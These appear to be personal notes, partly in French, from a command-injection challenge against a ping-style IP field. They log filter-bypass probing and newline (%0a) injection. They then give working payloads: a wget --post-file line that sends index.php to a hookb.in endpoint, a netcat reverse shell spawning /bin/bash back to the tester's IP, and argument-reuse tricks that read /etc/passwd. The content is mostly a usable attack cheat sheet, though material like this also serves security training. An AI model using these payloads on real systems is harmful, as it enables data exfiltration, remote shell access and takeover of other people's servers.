# Command Injection
blablabla ; ls
# Bypass filters
- syntax error
'' OK
'127.0.0.1' OK
() syntax error
`ls` syntax error (car ` filtré donc `ls`=> ls)`;` OK
127.|0.0.1 OK=> | filtré
127.0.&0.1 OK=> & filtré
127.0.;0.1 OK=> ; filtré
127.0.$0.1 OK=> $ filtré
127.0.`0.1 OK=> ` filtré
127.0.``0.1 OK=> ` filtré
127.0.'0.1 syntax error => ' pas filtré
127.0.''0.1 OK=> '' string vide donc sans effet
192.198.169.198 NOK
127.0.0.1 127.0.0.1 NOK=> comme sur un host normal, donc espaces acceptés
127 .0.0.1 syntax error=> confirme espace OK
#127.0.0.1 syntax error
127.0.0.1 #127.0.0.1 OK => # pas filtré
127.0.0.1 -L OK
127.0.0.1 -c 1 syntax error
127.0.0.1 -i 10 OK, long time(>20s) donc argument pris en compte
127.0.0.1%0asleep 20 longue attente (20s + ~3), donc commande probablement exécutée après
# You can then use wget and --post-file option to exfiltrate data
127.0.0.1%0awget%20--post-file%20index.php%20https://hookb.in/xxxxxx
# Or you can use nc to get a reverse shell
nc -lvvp 4444
curl <target/index.php> --data 'ip=`www.google.fr%0anc.traditional MON_IP 4444 -e /bin/bash`'
# If some char are filtered you can play with argument reuse
?args=%0A&args=c:at&args=/etc/passwd
?args[]=%0A&args[]=c:at&args[]=/etc/passwd
?&args[]=cat&args[]=/etc/passwd